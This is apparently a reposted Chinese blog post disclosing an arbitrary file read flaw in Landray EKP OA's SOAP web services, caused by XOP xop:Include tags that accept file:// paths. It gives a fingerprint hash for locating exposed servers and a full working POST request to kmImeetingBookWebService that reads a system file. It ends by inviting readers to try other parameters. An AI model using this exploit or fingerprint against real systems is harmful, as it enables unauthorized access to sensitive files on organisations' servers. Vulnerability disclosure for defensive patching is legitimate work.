蓝凌OA任意文件读取漏洞
|
admin
2025年1月9日 19:48
本文热度 18
|
0x01.技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。蓝凌EKP由深圳市蓝凌软件股份有限公司自主研发,是一款全程在线数字化OA,应用于大中型企业在线化办公,包含流程管理、知识管理、会议管理、公文管理等等。蓝凌0A的thirdImSyncForKKWebService接口存在任意文件读取漏洞。攻击者可利用漏洞获取系统敏感信息。web.icon=="302464c3f6207d57240649926cfc7bd4"
在上一篇文章中分析说了任意文件读取接口不止那一处,因为他造成任意文件读取的不是像我们之前常见的filename,path,url这种。而是触发漏洞的是soap中包含了xop:Include标签,也就是我可以在poc中的任意位置插入paylaod。SOAP 的 XOP 扩展:
xop:Include 是 SOAP 附件优化机制(XML-binary Optimized Packaging)。
如果服务器端 SOAP 框架支持 XOP,并未禁用 file:// 协议,它可能会尝试解析 href 指向的文件内容。
触发条件:
如果服务器端解析 SOAP 的 type 字段时,遇到 xop:Include 的 href 属性,会调用底层的 URI 解析方法(如 new URL().openStream()),加载指定文件。
那么还有另外的几个webservice接口中也是存在任意文件读取漏洞的。kmImeetingBookWebService接口,触发漏洞的参数是count,其实也就是说在任意的service接口中带有count参数或者type参数都能够触发漏洞。回显还是正常的base64数据需要解密就能或者到数据了。POST /sys/webservice/kmImeetingBookWebService HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION=MmM1ZWZjYWQtZDQ1Mi00NWU3LWI4ZmMtNmQwY2UyYWRkNzEz
Connection: close
close
Content-Type: multipart/related; boundary=----oxmmdmlnvlx08yluof5q
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 597
------oxmmdmlnvlx08yluof5q
Content-Disposition: form-data; name="111"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
<soapenv:Header/>
<soapenv:Body>
<web:getImeetingBook>
<arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:\Windows\System32\drivers\etc\hosts"/></count>
</arg0>
</web:getImeetingBook>
</soapenv:Body>
</soapenv:Envelope>
------oxmmdmlnvlx08yluof5q--
其实还有好几个参数都存在大家可以去试试
阅读原文:原文链接
该文章在 2025/1/10 10:34:51 编辑过